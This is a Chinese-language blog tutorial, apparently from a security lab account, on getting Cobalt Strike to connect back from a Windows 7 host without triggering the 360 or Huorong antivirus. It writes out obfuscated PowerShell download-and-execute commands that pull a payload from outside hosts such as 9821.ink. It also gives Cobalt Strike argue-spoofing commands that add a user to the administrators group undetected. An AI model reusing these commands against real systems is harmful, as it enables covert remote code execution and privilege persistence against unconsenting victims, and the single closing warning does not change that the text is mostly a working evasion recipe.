powershell對抗AV技巧
免殺上線一直是經久不衰的話題,今天介紹利用powershell上線來繞過360與火絨的防護,并介紹繞過添加用戶的攔截的方式,我們的實驗環境是一臺裝了360全家桶與火絨的win7。
一.powershell免殺繞過360與火絨上線:
1.powershell免殺繞過思路參考:
powershell 命令混淆
原始payload
Invoke-Expression (New-Object Net.WebClient).DownloadString('http:9821.ink/xxx')
安全客
將http分開+號連接
Invoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tp://9821.ink/xxx")
變量代替
IEX $wc=New-Object Net.WebClient;$wc.DownloadString('h'+'ttp://9821.ink/xxx')
轉義符號加在其他字符前不影響字符的意思,避免在0,a,b,f,n,r,t,v的小寫字母前出現即可。
Invoke-Expression (New-Object Net.WebClient)."Down`loadString"('h'+'ttp://9821.ink/xxx')
同樣可以使用在Net.Webclient上
Invoke-Expression (New-Object "`Ne`T.`Web`Cli`ent")."Down`l`oadString"('h'+'ttp://9821.ink/xxx')
freebuf
powershell -NoExit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://9821.ink/xxx'')'.Replace('123','adString');IEX ($c1+$c2)"
powershell "$a1='IEX ((new-object net.webclient).downl';$a2='oadstring(''http://9821.ink/xxx''))';$a3="$a1,$a2";IEX(-join $a3)"
chabug #別名
powershell set-alias -name kaspersky -value Invoke-Expression;kaspersky(New-Object Net.WebClient).DownloadString('http://9821.ink/xxx')
綜合起來 就成了最開始的上線命令:
powershell set-alias -name kaspersky -value Invoke-Expression;"$a1='kaspersky ((new-object net.webclient).downl';$a2='oadstring(''http://9821.ink/xxx''))';$a3=$a1,$a2;kaspersky(-join $a3)"
那么看了一些powershell的繞過上線cs思路,我們來執行修改命令達到上線
首先還是最原始的生成常見的方式來上線cs:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.12.20:80/a'))"



我們可以看到,此時火絨發現了系統調用了powershell,立刻進行了攔截,那么我們就要修改powershell上線的命令,進行繞過達到上線。
原命令:powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.12.20:80/a'))"
我們可以利用powershell的特性,利用別名、分割、替換變量等多個方式來繞過檢測。
修改后的命令:
powershell -c "IEX(New-Object Net.WebClient)."DownloadString"('ht‘+’tp://192.168.12.20:80/a')"
可以看到修改后的命令,對執行的命令進行替換,并將http分開+號連接的思路,便可以達到免殺上線效果。

360與火絨均無報警,CS已經上線,成功繞過殺軟達到上線目的。

二.繞過殺軟添加用戶
在內網滲透過程中,有些時候需要往目標機器添加用戶,來進行所需操作,但是添加用戶殺軟非常敏感,都會進行攔截。
為了突出文章目的,我們直接使用cs自帶的提權EXP來達到system權限。

我們直接在cs進行用戶添加。可以看到遭到了360的攔截:
beacon> shell net user tubai e2e2@wqw /add

此時的思路可以使用cs中argue參數繞過殺軟添加用戶:
#參數污染net1 argue net1 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

#查看污染的參數 argue

#用污染的net1執行敏感操作 execute net1 user tubai ddsd@123 /add

此時shell net user發現,tubai用戶已經添加進去,且360與火絨均未攔截

我們再將tubai用戶加入到administrator組
beacon> execute net1 localgroup administrators tubai /add

此時我們shell net user tubai ,發現已經成功加入administrators組中

至此便繞過了360與火絨對添加用戶的攔截。
總結
powershell的繞過方式除了命令混淆還有很多,免殺的目的就是圍繞你的目標機器進行實施的,并非要追求免殺率,過VT,只要過了你的目標機就好。還有,如無特殊需要,滲透過程中還是不添加用戶為妙,畢竟日志都有記錄,動靜也不小。
參考:
http://www.0x3.biz/archives/837.html
https://xz.aliyun.com/t/7903#toc-0
安全措施:
各位要對powershell動作進行管控,勿用技術做未授權的事情!有興趣可以關注公眾號:花指令安全實驗室,我們一起探討學習交流!